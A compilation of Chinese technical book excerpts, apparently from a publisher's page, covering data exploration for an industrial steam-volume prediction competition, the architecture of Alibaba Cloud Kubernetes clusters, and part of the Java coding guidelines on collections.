
博文视点( Broadview )是电子工业出版社下属旗舰级子公司。在IT出版领域打磨多年,以敏锐眼光、独特视角密切关注技术发展趋势及变化,致力于将技术大师之优秀思想、一线专家之一流经验集结成书,为众多朋友奉献经典著作,助力个人、团队成长。
2.2.4 可视化数据分布 下面以可视化方式对数据特征、数据分布等进行探索分析。1. 箱形图 首先绘制训练集中特征变量V0 的箱形图:fig = plt.figure(figsize=(4, 6)) # 指定绘图对象的宽度和高度sns.boxplot(train_data['V0'],orient="v", width=0.5)运行结果: 从图中可以看出有偏离值,许多数据点位于下四分位点以下。 然后绘制训练集中变量V0~V37 的箱形图:column = train_data.columns.tolist()[:39] # 列表头fig = plt.figure(figsize=(80, 60), dpi=75) # 指定绘图对象的宽度和高度for i in range(38): plt.subplot(7, 8, i + 1) # 7 行8 列子图 sns.boxplot(train_data[column[i]], orient="v", width=0.5) #箱式图 plt.ylabel(column[i], fontsize=36)plt.show()运行结果: 从图中发现数据存在许多偏离较大的异常值,可以考虑移除。2. 获取异常数据并画图 此方法是采用模型预测的形式找出异常值,可在看完模型训练和验证的理论讲解后,再回来仔细查看下面的代码。 获取异常数据的函数,代码如下:# function to detect outliers based on the predictions of a modeldef find_outliers(model, X, y, sigma=3): # predict y values using model try: y_pred = pd.Series(model.predict(X), index=y.index) # if predicting fails, try fitting the model first except: model.fit(X,y) y_pred = pd.Series(model.predict(X), index=y.index) # calculate residuals between the model prediction and true y values resid = y - y_pred mean_resid = resid.mean() std_resid = resid.std() # calculate z statistic, define outliers to be where |z|>sigma z = (resid - mean_resid)/std_resid outliers = z[abs(z)>sigma].index # print and plot the results print('R2=',model.score(X,y)) print("mse=",mean_squared_error(y,y_pred)) print('---------------------------------------') print('mean of residuals:',mean_resid) print('std of residuals:',std_resid) print('---------------------------------------') print(len(outliers),'outliers:') print(outliers.tolist()) plt.figure(figsize=(15,5)) ax_131 = plt.subplot(1,3,1) plt.plot(y,y_pred,'.') plt.plot(y.loc[outliers],y_pred.loc[outliers],'ro') plt.legend(['Accepted','Outlier']) plt.xlabel('y') plt.ylabel('y_pred'); ax_132=plt.subplot(1,3,2) plt.plot(y,y-y_pred,'.') plt.plot(y.loc[outliers],y.loc[outliers]-y_pred.loc[outliers],'ro') plt.legend(['Accepted','Outlier']) plt.xlabel('y') plt.ylabel('y - y_pred'); ax_133=plt.subplot(1,3,3) z.plot.hist(bins=50,ax=ax_133) z.loc[outliers].plot.hist(color='r',bins=50,ax=ax_133) plt.legend(['Accepted','Outlier']) plt.xlabel('z') plt.savefig('outliers.png') return outliers 通过岭回归模型找出异常值,并绘制其分布,代码如下:from sklearn.linear_model import Ridgefrom sklearn.metrics import mean_squared_errorX_train=train_data.iloc[:,0:-1]y_train=train_data.iloc[:,-1]outliers = find_outliers(Ridge(), X_train, y_train) 运行结果:R2= 0.8890858938210386mse= 0.10734857773123635---------------------------------------mean of residuals: 7.686602970006927e-17std of residuals: 0.3276976673193503---------------------------------------31 outliers:[321, 348, 376, 777, 884, 1145, 1164, 1310, 1458, 1466, 1484, 1523, 1704,1874, 1879, 1979, 2002, 2279, 2528, 2620, 2645, 2647, 2667, 2668, 2669, 2696,2767, 2769, 2807, 2842, 2863] 说明:也可以采用其他回归模型代替岭回归模型。3. 直方图和Q-Q 图 Q-Q 图是指数据的分位数和正态分布的分位数对比参照的图,如果数据符合正态分布,则所有的点都会落在直线上。首先,通过绘制特征变量V0 的直方图查看其在训练集中的统计分布,并绘制Q-Q 图查看V0 的分布是否近似于正态分布。 绘制变量V0 的直方图和Q-Q 图,代码如下:plt.figure(figsize=(10,5))ax=plt.subplot(1,2,1)sns.distplot(train_data['V0'],fit=stats.norm)ax=plt.subplot(1,2,2)res = stats.probplot(train_data['V0'], plot=plt) 运行结果: 可以看到,训练集中特征变量V0 的分布不是正态分布。 然后,绘制训练集中所有变量的直方图和Q-Q 图。train_cols = 6train_rows = len(train_data.columns)plt.figure(figsize=(4*train_cols,4*train_rows))i=0for col in train_data.columns: i+=1 ax=plt.subplot(train_rows,train_cols,i) sns.distplot(train_data[col],fit=stats.norm) i+=1 ax=plt.subplot(train_rows,train_cols,i) res = stats.probplot(train_data[col], plot=plt)plt.tight_layout()plt.show() 篇幅所限,这里只展示一部分结果: 从数据分布图可以发现,很多特征变量(如V1,V9,V24,V28 等)的数据分布不是正态的,数据并不跟随对角线分布,后续可以使用数据变换对其进行处理。4. KDE 分布图 KDE(Kernel Density Estimation,核密度估计)可以理解为是对直方图的加窗平滑。通过绘制KDE 分布图,可以查看并对比训练集和测试集中特征变量的分布情况,发现两个数据集中分布不一致的特征变量。 首先对比同一特征变量V0 在训练集和测试集中的分布情况,并查看数据分布是否一致。plt.figure(figsize=(8,4),dpi=150)ax = sns.kdeplot(train_data['V0'], color="Red", shade=True)ax = sns.kdeplot(test_data['V0'], color="Blue", shade=True)ax.set_xlabel('V0')ax.set_ylabel("Frequency")ax = ax.legend(["train","test"]) 运行结果: 可以看到,V0 在两个数据集中的分布基本一致。 然后,对比所有变量在训练集和测试集中的KDE 分布。dist_cols = 6dist_rows = len(test_data.columns)plt.figure(figsize=(4 * dist_cols, 4 * dist_rows))i = 1for col in test_data.columns: ax = plt.subplot(dist_rows, dist_cols, i) ax = sns.kdeplot(train_data[col], color="Red", shade=True) ax = sns.kdeplot(test_data[col], color="Blue", shade=True) ax.set_xlabel(col) ax.set_ylabel("Frequency") ax = ax.legend(["train", "test"]) i += 1plt.show() 运行结果(这里只展示部分结果):图1-2-12 分布不一致的特征5. 线性回归关系图 线性回归关系图主要用于分析变量之间的线性回归关系。首先查看特征变量V0 与target变量的线性回归关系。fcols = 2frows = 1plt.figure(figsize=(8,4),dpi=150)ax=plt.subplot(1,2,1)sns.regplot(x='V0', y='target', data=train_data, ax=ax, scatter_kws={'marker':'.','s':3,'alpha':0.3}, line_kws={'color':'k'});plt.xlabel('V0')plt.ylabel('target')ax=plt.subplot(1,2,2)sns.distplot(train_data['V0'].dropna())plt.xlabel('V0')plt.show() 运行结果: 然后查看所有特征变量与target 变量的线性回归关系。fcols = 6frows = len(test_data.columns)plt.figure(figsize=(5*fcols,4*frows))i=0for col in test_data.columns: i+=1 ax=plt.subplot(frows,fcols,i) sns.regplot(x=col, y='target', data=train_data, ax=ax, scatter_kws={'marker':'.','s':3,'alpha':0.3}, line_kws={'color':'k'}); plt.xlabel(col) plt.ylabel('target') i+=1 ax=plt.subplot(frows,fcols,i) sns.distplot(train_data[col].dropna()) plt.xlabel(col) 运行结果:
2.2 赛题数据探索2.2.1 导入工具包 先要导入一些Python 工具包,用于数据计算和可视化显示。import numpy as npimport pandas as pdimport matplotlib.pyplot as pltimport seaborn as snsfrom scipy import statsimport warningswarnings.filterwarnings("ignore")%matplotlib inline2.2.2 读取数据 使用Pandas 的read_csv()函数进行数据读取,由于读取的是文本文件(.txt),因此需要设置分割符为'\t'。train_data_file = "./zhengqi_train.txt"test_data_file = "./zhengqi_test.txt"train_data = pd.read_csv(train_data_file, sep='\t',encoding='utf8')test_data = pd.read_csv(test_data_file, sep='\t', encoding='utf-8')2.2.3 查看数据 查看训练集的基本信息:train_data.info()<class 'pandas.core.frame.DataFrame'>RangeIndex: 2888 entries, 0 to 2887Data columns (total 39 columns):V0 2888 non-null float64...target 2888 non-null float64dtypes: float64(39)memory usage: 880.1 KB 可以发现:①此训练集数据共有2888 个样本,数据中有V0~V37 共38 个特征变量,变量类型都为数值型,所有数据特征没有缺失值。②数据字段采用了脱敏处理,删除了特征数据的具体含义。③target 字段为标签变量。 查看测试集的基本信息:test_data.info()<class 'pandas.core.frame.DataFrame'>RangeIndex: 1925 entries, 0 to 1924Data columns (total 38 columns):V0 1925 non-null float64...V37 1925 non-null float64dtypes: float64(38)memory usage: 571.6 KB 可以发现:①测试集数据共有1925 个样本,数据中有V0~V37 共38 个特征变量,变量类型都为数值型。②测试集中没有target 字段(标签变量),需要我们预测并提交。 查看训练集的统计信息:train_data.describe() 查看测试集的统计信息:test_data.describe() 上面结果显示了数据的统计信息,如样本数、数据的均值(mean)、标准差(std)、最小值、最大值等。 查看训练集的字段信息:train_data.head() 查看测试集的字段信息:test_data.head() 上面分别显示了训练集和测试集的前5 条数据,可以看到数据都是浮点型,变量为数值型和连续型。
2.1.5 变量转换1. 变量转换的目的 在使用直方图、核密度估计等工具对特征分布进行分析的过程中,我们可能会发现一些变量的取值分布不平均,这将会极大影响估计。为此,我们需要对变量的取值区间等进行转换,使其分布落在合理的区间内。 如图1-2-11 所示,经过对数变换减轻了数据大量聚集在左侧的情况,其分布也更加趋于正态分布,这有利于一些模型的拟合(如基于正态分布假设前提的模型)。图1-2-11 变量转换2. 变量转换的方法 变量转换的方法主要包括缩放比例或标准化、非线性关系转换成线性、使倾斜分布对称、变量分组等,如表1-2-6 所示。表1-2-6 下面具体介绍几种常用的转换方法: (1)对数变换:对变量取对数,可以更改变量的分布形状。其通常应用于向右倾斜的分布,缺点是不能用于含有零或负值的变量。 (2)取平方根或立方根:变量的平方根和立方根对其分布有波形的影响。取平方根可用于包括零的正值,取立方根可用于取值中有负值(包括零)的情况。 (3)变量分组:对变量进行分类,如可以基于原始值、百分比或频率等对变量分类。例如,我们可以将收入分为高、中、低三类。其可以应用于连续型数据,超高维逻辑回归就是采取这种方式产生one-hot 变量特征的。2.1.6 新变量生成1. 变量生成的目的 变量生成是基于现有变量生成新变量的过程。生成的新变量可能与目标变量有更好的相关性,有助于进行数据分析。 例如,对于表1-2-7 所示数据集中的输入变量Date(dd-mm-yy,日期),可以拆分生成新变量,如日、月、年、周、工作日,也可能会发现与目标变量相关性更强的新变量。表1-2-72. 变量生成的方法 有两种生成新变量的方法: (1)创建派生变量:指使用一组函数或不同方法从现有变量创建新变量。例如,在某个数据集中需要预测缺失的年龄值,为了预测缺失项的价值,我们可以提取名称中的称呼(Master,Mr,Miss,Mrs)作为新变量。 (2)创建哑变量:哑变量方法可将类别型变量转换为数值型变量。在表1-2-8 所示的例子中,创建的Var_Male(男性)和Var_Female(女性)这两个数值型变量,等效于类别型变量中的Gender(性别)。表1-2-8
2.1.3 缺失值处理1. 缺失值的产生原因和分类 缺失值的产生原因多种多样,主要分为机械原因和人为原因。机械原因是由机械导致的数据缺失,比如数据存储的失败、存储器损坏、机械故障导致某段时间的数据未能收集(对于定时数据采集而言)。人为原因是由人的主观失误、历史局限或有意隐瞒造成的数据缺失。比如,在市场调查中被访人拒绝透露相关问题的答案,或者回答的问题是无效的,或者数据录入人员漏录了数据。 从缺失的分布来看,缺失值主要分为以下四类:完全随机丢失:即对于所有的观察结果,丢失的概率是相同的。例如,在数据收集过程中,受访者想在抛出一个硬币之后,再决定是否宣布他们的收入。如果硬币为正面,受访者则宣布自己的收入,反之则不宣布。这里的每个观察值都具有相同的缺失机会。随机丢失:即变量的值随机丢失并且丢失的概率会因其他输入变量的值或级别不同而变化。例如,在收集年龄信息时,女性年龄数据的缺失率要高于男性的。不可预测因子导致的缺失:即数据不是随机缺失,而是受一切潜在因子的影响。例如,在医学研究中,如果一个特定的诊断会导致病人不适,那么这项研究就很有可能被抛弃。这个缺失值并不是随机发生的,而是依赖于“不适”这一潜在的因子。取决于自身的缺失:即发生缺失的概率受缺失值本身的影响。例如,收入特别高和特别低的人不愿意提供自己的收入数据。2. 缺失值的处理方法 (1)删除。删除缺失值有两种方法:成列删除(List Wise Deletion)和成对删除(Pair Wise Deletion)。两者对比如表1-2-4 所示:表1-2-4 在如图1-2-5 所示的数据集中存在一些缺失值(对应为空格或“.”),并分别采用上述两种方法进行了处理。图1-2-5 用两种方法删除缺失值 说明:当缺失数据的性质为“完全随机丢失”时,删除缺失值可能会让模型的输出产生偏离。 (2)平均值、众数、中值填充。其首先是利用从有效数据集中识别出的关系来评估缺失值,然后用计算的该变量所有已知值的平均值或中值(定量属性)或众数(定性属性)来替换给定属性的缺失值,此方法也是最常用的方法。具体操作为一般填充和相似样本填充。 一般填充是用该变量下所有非缺失值的平均值或中值来补全缺失值。 相似样本填充是利用具有相似特征的样本的值或者近似值进行填充。 (3)预测模型填充。即通过建立预测模型来填补缺失值。在这种情况下,会把数据集分为两份:一份是没有缺失值的,用作训练集;另一份是有缺失值的,用作测试集。这样,缺失的变量就是预测目标,此时可以使用回归、分类等方法来完成填充。 当然,这种方法也有不足之处。首先,预测出来的值往往更加“规范”;其次,如果变量之间不存在关系,则得到的缺失值会不准确。2.1.4 异常值处理 通常将远远偏离整个样本总体的观测值称为异常值。1. 异常值的产生原因和影响 异常值可能是由数据输入误差、测量误差、实验误差、有意造成异常值、数据处理误差、采样误差等因素造成的。数据输入误差:是指在数据收集、输入过程中,人为错误产生的误差。例如,客户的年收入是10 万美元,如果数据录入人员多加了一个0,则年收入变为100 万美元,是原来的10 倍。显然,这个样本与其他的样本相比是异常值。测量误差:这是异常值最常见的来源。例如,有10 台称重机,其中9 台是正常的,1台是有故障的,那么这台有故障的机器测量的值就是异常值。实验误差:实验误差也会导致出现异常值。有意造成异常值:这通常发生在一些涉及敏感数据的报告中。例如,当要求青少年报告消费的酒精量时,他们可能会上报比真实数据小的值。数据处理误差:在操作或数据提取的过程中造成的误差。采样误差:例如,我们要测量运动员的身高,而样本中包括几名很高的篮球运动员,这种就可能会导致数据集中出现异常值。 异常值对模型和预测分析的影响主要有增加错误方差,降低模型的拟合能力;异常值的非随机分布会降低正态性;与真实值可能存在偏差;影响回归、方差分析等统计模型的基本假设。 举一个简单的例子说明: 对比表1-2-5 中的两组数据可以发现,有异常值的数据集具有显著的平均值和标准差。在无异常值的情况下,数据集的平均值是5.45,标准差是0.99。在加入一个异常值后,数据集的平均值上升为30,标准差则升至81.41,这将彻底改变估计。表1-2-52. 异常值的检测 一般可以采用可视化方法进行异常值的检测,常用工具包括箱线图、直方图、散点图等。 如图1-2-6 所示,箱线图是一种很好的可视化工具,常用于可视化基本的统计数据,如异常值、最小值、最大值、四分位数等。图1-2-6 箱线图 利用箱线图检测异常值的原则如下: 不在-1.5*IQR和1.5*IQR之间的样本点认为是异常值,如图1-2-7 所示。 使用封顶方法可以认为在第5 和第95 百分位数范围之外的任何值都是异常值。 距离平均值为三倍标准差或更大的数据点可以被认为是异常值。 下面举例进一步说明异常值的检测。例如,一组客户的年收入是80 万美元,但是其中两个客户的年收入分别为400 万美元和420 万美元,如图1-2-8 所示。由于这两个客户的年收入远远偏离其他人的,因此这两个样本被视为异常值。图1-2-7 箱线图中的IQR图1-2-8 异常值检测举例 说明:由于异常值只是对有影响的特殊数据点进行检测,因此它的选择也取决于对业务的理解。 再举一个例子,现在有一组身高和体重的数据,对其绘制箱线图和散点图,如图1-2-9所示。图1-2-9 箱线图与散点图示意 首先通过箱线图观察单变量的分布,没有找到任何异常值。然后通过散点图看双变量分布,可以看到有两个样本的值在【身高,体重】组合的平均值以下。3. 异常值的处理方法 对异常值一般采用删除、转换、填充、区别对待等方法进行处理。删除:如果是由输入误差、数据处理误差引起的异常值,或者异常值很小,则可以直接将其删除。转换:数据转换可以消除异常值,如对数据取对数会减轻由极值引起的变化。 例如,图1-2-10 所示即为取对数前后的数据分布直方图,可以看到转换后的数据分布更加均匀,没有明显的异常值。图1-2-10 对数转换填充:像处理缺失值一样,我们可以对异常值进行修改,如使用平均值、中值或其他的一些填补方法。在填补之前,需要分析异常值是自然形成的,还是人为造成的。如果是人为造成的,则可以进行填充处理,如使用预测模型填充。区别对待:如果存在大量的异常值,则应该在统计模型中区别对待。其中一个方法是将数据分为两个不同的组,异常值归为一组,非异常值归为一组,且两组分别建立模型,然后最终将两组的输出合并。
2 数 据 探 索2.1 理论知识2.1.1 变量识别 变量识别就是对数据从变量类型、数据类型等方面进行分析。举个例子,数据如表1-2-1所示:表1-2-1 我们可以从以下方面对其进行变量识别:1. 输入变量与输出变量 输入变量(也称为“predictor”或“特征”)有age,workclass,education,gender,hours-per-week,occupation。 输出变量(也称为“target”或“标签”)有 income。2. 数据类型 字符型数据有workclass,education,gender,occupation,income。 数值型数据有age,hours-per-week。3. 连续型变量与类别型变量 连续型变量(特征)有age,hours-per-week。 类别型变量(特征)有workclass,education,gender,occupation,income。 说明:例中的问题属于分类问题,两个类别分别是income(收入)≤50k 和income(收入)>50k。而如果目标改为预测具体收入,则变成了一个回归问题。2.1.2 变量分析1. 单变量分析 对于连续型变量,需要统计数据的中心分布趋势和变量的分布,如对表1-2-2 中的数据进行分析,其结果如图1-2-1 所示。表1-2-2图1-2-1 统计量和变量的分布 对于类别型变量,一般使用频次或占比表示每一个类别的分布情况,对应的衡量指标分别是类别变量的频次(次数)和频率(占比),可以用柱形图来表示可视化分布情况。2. 双变量分析 使用双变量分析可以发现变量之间的关系。根据变量类型的不同,可以分为连续型与连续型、类别型与类别型、类别型与连续型三种双变量分析组合。 (1)连续型与连续型。绘制散点图和计算相关性是分析连续型与连续型双变量的常用方法。绘制散点图:散点图的形状可以反映变量之间的关系是线性(linear)还是非线性(non-linear),图1-2-2 所示为常见的几种双变量关系对应的散点图。计算相关性:散点图只能直观地显示双变量之间的关系,但并不能说明关系的强弱,而相关性可以对变量之间的关系进行量化分析。相关性系数的公式如下: 相关性系数的取值区间为[-1, 1]。当相关性系数为-1时,表示强负线性相关;当相关性系数为1时,表示强正线性相关;当相关性系数为0时,表示不相关。图1-2-2 双变量关系散点图 那么,在Python 中如何对相关性进行计算呢?举个例子,假设X=[65, 72, 78, 65, 72,70, 65,68],Y=[72, 69, 79, 69, 84, 75, 60, 73],要计算X 与Y 的相关性系数,代码如下:import numpy as npX = np.array([65, 72, 78, 65, 72, 70, 65, 68])Y = np.array([72, 69, 79, 69, 84, 75, 60, 73])np.corrcoef(X, Y) 计算结果如下:array([[1. , 0.64897259], [0.64897259, 1. ]]) 一般来说,在取绝对值后,0~0.09 为没有相关性,0.1~0.3 为弱相关,0.3~0.5 为中等相关,0.5~1.0 为强相关。 (2)类别型与类别型。对于类别型与类别型双变量,一般采用双向表、堆叠柱状图和卡方检验进行分析。双向表:这种方法是通过建立频次(次数)和频率(占比)的双向表来分析变量之间的关系,其中行和列分别表示一个变量,如表1-2-3 所示。表1-2-3堆叠柱状图:这种方法比双向表更加直观,如图1-2-3 所示。图1-2-3 堆叠柱状图卡方检验:主要用于两个和两个以上样本率(构成比)及两个二值型离散变量的关联性分析,即比较理论频次与实际频次的吻合程度或拟合优度。 以iris 数据集为例,在sklearn 库中使用卡方检验筛选与目标变量相关的特征,示例代码如下:from sklearn.datasets import load_irisfrom sklearn.feature_selection import SelectKBestfrom sklearn.feature_selection import chi2iris = load_iris()X, y = iris.data, iris.targetchiValues = chi2(X, y)X_new = SelectKBest(chi2, k=2).fit_transform(X, y) (3)类别型与连续型。在分析类别型和连续型双变量时,可以绘制小提琴图(Violin Plot),这样可以分析类别变量在不同类别时,另一个连续变量的分布情况。如图1-2-4 所示,通过绘制小提琴图,可以对比在类别变量为low,medium,high 三个不同类别时,连续变量price 的分布情况。图1-2-4 小提琴图及其说明 小提琴图结合了箱形图和密度图的相关特征信息,可以直观、清晰地显示数据的分布,常用于展示多组数据的分布及相关的概率密度。 说明:建议使用Seaborn 包中的violinplot()函数。
1.4 评估指标1.5 赛题模型 在赛题分析中,很重要的一点就是要根据赛题的特点和目标明确问题的类型,并选择合适的模型。在机器学习中,根据问题类型的不同,常用的模型包括回归预测模型和分类预测模型。1. 回归预测模型 回归预测模型的预测结果是一个连续值域上的任意值,回归可以具有实值或离散的输入变量。我们通常把多个输入变量的回归问题称为多元回归问题,输入变量按时间排序的回归问题称为时间序列预测问题。 图1-1-5 所示为回归预测模型的分析示例图。图1-1-5 回归预测模型分析示例图2. 分类预测模型 分类预测模型的分类问题要求将实例分为两个或多个类中的一个,并具有实值或离散的输入变量。其中,两个类别的问题通常被称为二类分类问题或二元分类问题,多于两个类别的问题通常被称为多类别分类问题。 图1-1-6 所示为分类预测模型的分析示例图。图1-1-6 分类预测模型分析示例图3. 解题思路 在本赛题中,需要根据提供的V0~V37 共38 个特征变量来预测蒸汽量的数值,其预测值为连续型数值变量,故此问题为回归预测求解。 回归预测模型使用的算法包括线性回归(Linear Regression)、岭回归(Ridge Regression)、LASSO(Least Absolute Shrinkage and Selection Operator)回归、决策树回归(Decision Tree Regressor)、梯度提升树回归(Gradient Boosting Decison Tree Regressor)。 在后面的模型训练中,我们将采用这些模型来预测目标值。
赛题一 工业蒸汽量预测1 赛 题 理 解1.1 赛题背景 火力发电的基本原理是燃料在燃烧时加热水生成蒸汽,蒸汽产生的压力推动汽轮机旋转,然后汽轮机带动发电机旋转,产生电能。在这一系列的能量转化中,影响发电效率的核心是锅炉的燃烧效率,即燃料燃烧加热水产生高温、高压的蒸汽。影响锅炉燃烧效率的因素很多,包括锅炉的可调参数,如燃烧给量、一二次风、引风、返料风、给水水量;以及锅炉的工况,如锅炉床温、床压、炉膛温度、压力,过热器的温度等,如图1-1-1 所示。图1-1-1 数据智能算法在化工企业中的应用1.2 赛题目标 给定经脱敏后的锅炉传感器采集的数据(采集频率是分钟级别),根据锅炉的工况预测产生的蒸汽量。1.3 数据概览1. 数据描述 你可以在阿里云天池官网的【天池大赛/学习赛】中找到【工业蒸汽量预测】赛题,查看更多详细信息,如图1-1-2 所示。图1-1-2 赛题卡片 在本赛题的【赛题与数据】部分,你可以直接下载数据(需要注册并登录阿里云账号),如图1-1-3 所示。图1-1-3 下载数据集2. 数据说明 图1-1-4 所示是部分训练数据,其中V0~V37 共38 个字段是特征变量,target 字段是目标变量。图1-1-4 部分数据 测试数据集没有target 字段,需要利用训练数据对模型进行训练,然后由测试数据预测目标变量。
1.4 集群系统层 集群系统层是指Kubernetes 及其组件,比如网络组件CNI、存储插件FlexVolume 等。这部分内容,实际上是大部分工程师学习Kubernetes 的起点,也是工程师相对比较熟悉的一部分内容。 为了适配云环境,以及支持百万级线上集群稳定运行,阿里云三种版本Kubernetes 集群的实现,对原生的Kubernetes 做了一些定制和改造。比如为了支持托管版和Serverless 版,API Server 的形态和部署位置都做了调整。1.4.1 专有版 总体上来说,集群系统层的组件和功能,在专有版集群里,体现在Master节点和Worker 节点上。 在Master 节点上,运行着集群中心数据库Etcd,以及集群管控的三大件API Server、Controller Manager 和Scheduler, 另外包括Cloud ControllerManager 等定制组件。 在Worker 节点上,运行着服务代理Proxy、节点代理Kubelet,以及网络插件和存储插件等自定义组件,如图1-6 所示。图1-6 专有版集群系统层架构1.4.2 托管版 在托管版集群的实现中,Kubernetes 管控三大件被封装成Pod,运行在Master 集群隔离的命名空间中,如图1-7 所示。 Master 集群里混合部署了很多集群的管控三大件。我们通过主备Pod 以及集群本身的高可用特性,保证用户集群管控三大件的高可用。
1.3 单机系统层 单机系统层主要有两部分内容,分别是操作系统和容器运行时。从理论上来说,这两者的组合可以有很多变化,如CentOS 和Docker,Windows 和Docker 等。阿里云单机系统层主要支持CentOS 和Windows 两种操作系统,以及Docker 和安全沙箱两种容器运行时。Kubernetes 集群单机系统层结构如图1-5所示。图1-5 Kubernetes 集群单机系统层结构 从整体架构来看,操作系统和容器运行时比较简单直接,但是按经验来讲,如果这两部分出现问题,会极大地影响集群的整体稳定性。本书实践篇的前两个案例(第13 章、第14 章),是专门针对这两部分内容的。
1.2 云资源层 云资源层和云上Kubernetes 之间的关系,相当于计算机硬件与操作系统之间的关系。云资源层为Kubernetes 提供了有弹性优势的软硬件基础,如云服务器、安全组、专有网络、负载均衡、资源编排等。 从本质上来说,Kubernetes 本身并不提供任何计算、网络或存储资源,它仅仅是这些底层资源的封装。 容器集群对底层资源封装的程度,在不同厂商的实现中,可能完全不同。以阿里云为例,用户除了可以通过容器服务的接口使用集群外,还可以通过底层资源的接口(如负载均衡控制台)来对集群底层资源做操作。但是这种操作具有一定程度的风险,如无必要,不要直接操作底层资源。 在以下三节中,我们分别看一下阿里云容器集群三种形态的组成原理,包括专有版、托管版及Serverless 版。1.2.1 专有版 首先是资源管理。专有版集群使用了多种云资源,如图1-2 所示。在实现的时候,我们可以选择使用编码的方式来管理这些资源实例的生命周期,但这显然是低效的。阿里云的选择是,以资源编排(ROS)模板为基础,结合用户自定义配置来统一管理底层资源。图1-2 阿里云专有版Kubernetes 集群组成原理 其次是集群网络。专有版集群在被创建之初,就被指定了专有网络VPC的配置,如节点网段等。VPC 实例被创建之后,其他所有集群资源,都必然和这个VPC 实例相关联。VPC 的安全组,在这里扮演着集群网络的防火墙角色。 再次是计算资源。集群在默认情况下会创建三个云服务器作为管控节点,同时集群会根据用户的需求,创建若干云服务器作为集群的Worker 节点。这些Worker 节点与弹性伸缩实例绑定,以实现节点伸缩功能。集群节点和RAM(访问控制)的角色绑定,以授权集群内部组件访问其他云资源。另外,集群节点可以挂载云盘并以本地存储形式来使用。 最后是接口实现。集群使用NAT 网关作为集群默认的网络出口,使用SLB(负载均衡)作为集群的入口,这包括API Server 入口,以及图中未包括的Service 的入口。1.2.2 托管版 托管版集群在资源管理、集群网络、Worker 节点,以及接口实现方面,基本上采用了与专有版集群相同的实现方法。 托管版与专有版的第一个差别,在于管控组件方面。托管版集群的管控组件,是用户不可见的。这些组件以Pod 的形式运行在专门的Master 集群里,如图1-3 所示。 这会引入一个非常核心的问题,就是位于Master 集群里的API Server Pod与位于客户集群里的节点之间的通信问题。因为Master 集群是阿里云生产账号创建的集群,所以这实际上是一个跨账号、跨VPC 通信的问题。 解决方法是使用一种特殊的弹性网卡ENI。这种网卡逻辑上位于客户集群所在的VPC 里,所以可以和VPC 里的节点通信,而物理上被安装在APIServer Pod 里,即位于Master 集群里。这就完美解决了API Server Pod 与托管版集群节点之间的通信问题。1.2.3 Serverless 版 与前两种类型的集群相比,Serverless 版的实现要简单一些,可以看作前两种实现的简化版,如图1-4 所示。图1-4 阿里云Serverless 版Kubernetes 集群组成原理 首先,Serverless 集群因为用到的云资源较少,且变化不大,所以我们直接通过编码的方式实现了资源管理。 其次,Serverless 使用ECI(弹性容器实例)来运行Pod,没有使用云服务器这样的计算资源。 最后,集群直接依靠运行于Master 集群里的Virtual Kubelet 来管理ECI实例。
第1章 鸟瞰云上Kubernetes 云原生本质上是一套让用户用好云的技术栈。从目前的发展情况来看,Kubernetes on Cloud是这套技术栈的主框架。这里的Kubernetes on Cloud,说的是各个云厂商基于自己的云产品和开源Kubernetes软件实现的容器集群产品。 这些容器集群产品,以云服务器为节点,基于专有网络实现集群网络,依靠弹性伸缩实现节点伸缩等,从而吸收了云的弹性和Kubernetes的自动化运维等属性,给用户带来一加一大于二的资源优势和人效优势。 阿里云的容器服务Kubernetes就是这样的产品。本章将从全景视野角度,以阿里云的实现为范本,总结云上Kubernetes的组成原理。本章不会囊括所有的组件细节,只会鸟瞰全局并总结技术要点。1.1 内容概要 从整体架构上来看,我们可以把阿里云Kubernetes集群分为四层结构,如图1-1所示。自下而上分别是云资源层、单机系统层、集群系统层,以及功能扩展层。 云资源层包括集群使用的所有云资源,这也是需要用户付费的一层;单机系统层包括节点的操作系统和容器运行时;集群系统层包括Kubernetes 系统组件以及插件;最上面的功能扩展层,是基于下部的三层资源,并依靠一些特殊功能组件而实现的对集群功能的扩展。图1-1 阿里云Kubernetes 集群分层结构
1.6 集合处理1【强制】关于hashCode 和equals 的处理,遵循如下规则。1)只要覆写equals,就必须覆写hashCode。2)因为Set 存储的是不重复的对象,所以依据hashCode 和equals 进行判断,Set 存储的对象必须覆写这两种方法。3)如果自定义对象作为Map 的键,那么必须覆写hashCode和equals。说明:String 因为覆写了hashCode 和equals 方法,所以可以愉快地将String 对象作为key 使用。2【强制】判断所有集合内部的元素是否为空,应使用isEmpty()方法,而不是使用size()==0 的方式。说明:在某些集合中,前者的时间复杂度为O(1),而且可读性更好。正例:Map<String, Object> map = new HashMap<>(16);if (map.isEmpty()) { System.out.println("no element in this map.");}3【强制】在使用java.util.stream.Collectors 类的toMap()方法转为Map 集合时,一定要使用含有参数类型为BinaryOperator、参数名为mergeFunction 的方法,否则当出现相同key 值时,会抛出IllegalStateException异常。说明:参数mergeFunction 的作用是当出现key 重复时,自定义对value 的处理策略。正例:List<Pair<String, Double>> pairArrayList = new ArrayList<>(3);pairArrayList.add(new Pair<>("version", 6.19));pairArrayList.add(new Pair<>("version", 10.24));pairArrayList.add(new Pair<>("version", 13.14));// 在生成的Map 集合中,只有一个键值对:{version=13.14}Map<String, Double> map = pairArrayList.stream().collect(Collectors.toMap(Pair::getKey, Pair::getValue, (v1, v2) -> v2));反例:String[] words = new String[] {"W", "W", "X"};// 抛出IllegalStateException 异常Map<Integer, String> map = Arrays.stream(words) .collect(Collectors.toMap(String::hashCode, v -> v));4【强制】在使用java.util.stream.Collectors 类的toMap()方法转为Map 集合时,一定要注意当value 为null时,会抛出NPE 异常。说明:在java.util.HashMap 的merge 方法中,会进行如下判断:if (value == null || remappingFunction == null)throw new NullPointerException();反例:List<Pair<String, Double>> pairArrayList = new ArrayList<>(2);pairArrayList.add(new Pair<>("version1", 4.22));pairArrayList.add(new Pair<>("version2", null));Map<String, Double> map = pairArrayList.stream().collect(// 抛出NullPointerException 异常Collectors.toMap(Pair::getKey, Pair::getValue, (v1, v2) -> v2));5【强制】ArrayList 的subList 结果不可强转成ArrayList,否则会抛出ClassCastException 异常,即java.util.RandomAccessSubList cannot be cast to java.util. ArrayList。说明:subList()返回的是ArrayList 的内部类SubList,并不是ArrayList 本身,而是ArrayList 的一个视图,对于SubList的所有操作最终会反映到原列表上。6【强制】使用Map 的方法keySet()/values()/entry Set()返回集合对象时, 不可以对其添加元素, 否则会抛出UnsupportedOperationException 异常。7【强制】Collections 类返回的对象,如:emptyList()/singletonList()等都是immutable list,不可对其添加或者删除元素。反例:如果查询无结果,返回Collections.emptyList()空集合对象, 调用方一旦进行了添加元素的操作, 就会触发UnsupportedOperationException 异常。8【强制】在subList 